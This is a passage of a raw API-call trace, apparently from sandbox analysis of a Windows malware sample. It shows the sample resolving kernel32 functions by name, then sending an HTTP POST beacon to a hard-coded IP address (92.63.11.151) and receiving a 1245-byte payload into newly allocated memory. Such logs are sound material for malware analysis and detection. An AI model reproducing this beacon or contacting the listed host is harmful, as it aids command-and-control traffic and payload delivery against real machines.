lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0102.952] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0102.952] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0102.952] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0102.952] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0102.952] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0102.952] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0102.952] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0102.952] lstrlenA (lpString="CREATEPIPE") returned 10 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0102.952] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0102.952] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0102.952] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0102.952] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0102.952] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0102.952] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0102.952] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0102.952] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0102.952] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0102.953] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0102.953] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0102.953] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0102.953] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0102.953] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0102.953] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0102.953] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0102.953] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0102.953] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0102.953] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0102.953] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0102.953] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0102.953] lstrlenA (lpString="CREATETHREAD") returned 12 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0102.953] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0102.953] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0102.953] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0102.953] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0102.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0102.954] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0102.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0102.954] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0102.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0102.954] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0102.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0102.954] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.954] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0102.955] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.955] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0102.956] wsprintfA (in: param_1=0x3bb0000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /odkmwtat.asp?t=vj1aac&fy=5 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.11.151\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 245 [0102.956] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.956] send (s=0x544, buf=0x3bb0000*, len=466, flags=0) returned 466 [0102.957] shutdown (s=0x544, how=1) returned 0 [0102.957] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0103.055] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0103.056] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0103.057] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0103.058] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0103.059] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0103.060] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0103.061] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0103.062] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0103.063] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0103.064] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0103.065] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0103.066] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0103.067] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0103.068] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0103.068] StrToIntA (lpSrc="1245") returned 1245 [0103.068] VirtualAlloc (lpAddress=0x0, dwSize=0x4dd, flAllocationType=0x3000, flProtect=0x4) returned 0x3be0000 [0103.069] recv (in: s=0x544, buf=0x3be0000, len=1245, flags=0 | out: buf=0x3be0000*) returned 1245 [0103.069] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.069] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.070] VirtualFree (lpAddress=0x3bb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.070] closesocket (s=0x544) returned 0 [0103.070] WSACleanup () returned 0 [0103.070] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.071] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.071] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.071] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.071] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.072] lstrlenA (lpString="kernel32.dll") returned 12 [0103.072] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0103.072] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 